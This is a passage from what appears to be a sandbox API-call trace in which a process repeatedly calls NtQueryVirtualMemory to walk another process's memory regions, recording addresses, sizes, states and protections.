VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x562000, AllocationBase=0x560000, AllocationProtect=0x2, RegionSize=0x17e000, State=0x2000, Protect=0x0, Type=0x40000), ResultLength=0x0) returned 0x0 [0150.943] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x6e0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x6e0000, AllocationBase=0x560000, AllocationProtect=0x2, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0150.943] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x6e3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x6e3000, AllocationBase=0x560000, AllocationProtect=0x2, RegionSize=0x5000, State=0x2000, Protect=0x0, Type=0x40000), ResultLength=0x0) returned 0x0 [0150.943] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x6e8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x6e8000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x8000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.943] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x6f0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x6f0000, AllocationBase=0x6f0000, AllocationProtect=0x2, RegionSize=0x181000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0150.943] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x871000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x871000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.944] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x880000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x880000, AllocationBase=0x880000, AllocationProtect=0x2, RegionSize=0x15000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0150.944] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x895000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x895000, AllocationBase=0x880000, AllocationProtect=0x2, RegionSize=0x13eb000, State=0x2000, Protect=0x0, Type=0x40000), ResultLength=0x0) returned 0x0 [0150.944] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x1c80000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x1c80000, AllocationBase=0x1c80000, AllocationProtect=0x2, RegionSize=0xdf000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0150.944] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x1d5f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x1d5f000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x41000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.944] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x1da0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x1da0000, AllocationBase=0x1da0000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.944] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x1db0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x1db0000, AllocationBase=0x1db0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.944] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x1ead000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x1ead000, AllocationBase=0x1db0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.944] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x1eaf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x1eaf000, AllocationBase=0x1db0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.944] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x1eb0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x1eb0000, AllocationBase=0x1eb0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.944] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x1fad000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x1fad000, AllocationBase=0x1eb0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.944] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x1faf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x1faf000, AllocationBase=0x1eb0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.945] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x1fb0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x1fb0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x71d30000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.945] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x73ce0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x73ce0000, AllocationBase=0x73ce0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.945] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x73cec000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x73cec000, AllocationBase=0x73ce0000, AllocationProtect=0x80, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.945] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x73cee000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x73cee000, AllocationBase=0x73ce0000, AllocationProtect=0x80, RegionSize=0x5000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.945] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x73cf3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x73cf3000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x4ad000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.945] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x741a0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x741a0000, AllocationBase=0x741a0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.945] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x741b0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x741b0000, AllocationBase=0x741a0000, AllocationProtect=0x80, RegionSize=0x38000, State=0x1000, Protect=0x20, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.946] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x741e8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x741e8000, AllocationBase=0x741a0000, AllocationProtect=0x80, RegionSize=0x8000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.946] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x741f0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x741f0000, AllocationBase=0x741a0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.946] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x741f1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x741f1000, AllocationBase=0x741a0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x8, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.946] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x741f2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x741f2000, AllocationBase=0x741a0000, AllocationProtect=0x80, RegionSize=0xe000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.946] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x74200000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x74200000, AllocationBase=0x741a0000, AllocationProtect=0x80, RegionSize=0x2000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.946] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x74202000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x74202000, AllocationBase=0x741a0000, AllocationProtect=0x80, RegionSize=0xe000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.946] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x74210000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x74210000, AllocationBase=0x741a0000, AllocationProtect=0x80, RegionSize=0x2000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.946] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x74212000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x74212000, AllocationBase=0x741a0000, AllocationProtect=0x80, RegionSize=0xe000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.946] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x74220000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x74220000, AllocationBase=0x74220000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.946] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x742b7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x742b7000, AllocationBase=0x74220000, AllocationProtect=0x80, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.947] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x742b9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x742b9000, AllocationBase=0x74220000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x8, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.947] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x742ba000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x742ba000, AllocationBase=0x74220000, AllocationProtect=0x80, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.947] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x742be000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x742be000, AllocationBase=0x74220000, AllocationProtect=0x80, RegionSize=0x5000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.947] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x742c3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x742c3000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xd000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.947] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x742d0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x742d0000, AllocationBase=0x742d0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.947] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x74355000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x74355000, AllocationBase=0x742d0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x8, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.947] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x74356000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x74356000, AllocationBase=0x742d0000, AllocationProtect=0x80, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.947] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x74358000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x74358000, AllocationBase=0x742d0000, AllocationProtect=0x80, RegionSize=0x6000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.947] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x7435e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7435e000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x2000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.947] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x74360000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x74360000, AllocationBase=0x74360000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.948] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x74364000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x74364000, AllocationBase=0x74360000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.948] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x74365000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x74365000, AllocationBase=0x74360000, AllocationProtect=0x80, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.948] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x74368000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x74368000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x8000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.948] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x74370000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x74370000, AllocationBase=0x74370000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.948] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x743a9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x743a9000, AllocationBase=0x74370000, AllocationProtect=0x80, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.948] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x743ab000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x743ab000, AllocationBase=0x74370000, AllocationProtect=0x80, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.948] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x743af000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x743af000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x1441000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.949] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x757f0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x757f0000, AllocationBase=0x757f0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.949] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x7583e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7583e000, AllocationBase=0x757f0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.949] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x7583f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7583f000, AllocationBase=0x757f0000, AllocationProtect=0x80, RegionSize=0x3000, State=0x1000, Protect=0x8, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.949] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x75842000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x75842000, AllocationBase=0x757f0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.949] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x75843000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x75843000, AllocationBase=0x757f0000, AllocationProtect=0x80, RegionSize=0x9000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.949] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x7584c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7584c000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xf4000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.949] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x75940000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x75940000, AllocationBase=0x75940000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.950] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x75949000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x75949000, AllocationBase=0x75940000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.950] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x7594a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7594a000, AllocationBase=0x75940000, AllocationProtect=0x80, RegionSize=0x2000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.950] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x7594c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7594c000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x4000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.950] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x75950000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x75950000, AllocationBase=0x75950000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.950] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x75960000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x75960000, AllocationBase=0x75950000, AllocationProtect=0x80, RegionSize=0x16000, State=0x1000, Protect=0x20, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.950] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x75976000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x75976000, AllocationBase=0x75950000, AllocationProtect=0x80, RegionSize=0xa000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.950] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x75980000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x75980000, AllocationBase=0x75950000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.950] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x75981000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x75981000, AllocationBase=0x75950000, AllocationProtect=0x80, RegionSize=0xf000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.950] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x75990000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x75990000, AllocationBase=0x75950000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.950] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x75991000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x75991000, AllocationBase=0x75950000, AllocationProtect=0x80, RegionSize=0xf000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.950] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x759a0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x759a0000, AllocationBase=0x75950000, AllocationProtect=0x80, RegionSize=0x2000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.951] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x759a2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x759a2000, AllocationBase=0x75950000, AllocationProtect=0x80, RegionSize=0xe000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.951] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x759b0000, 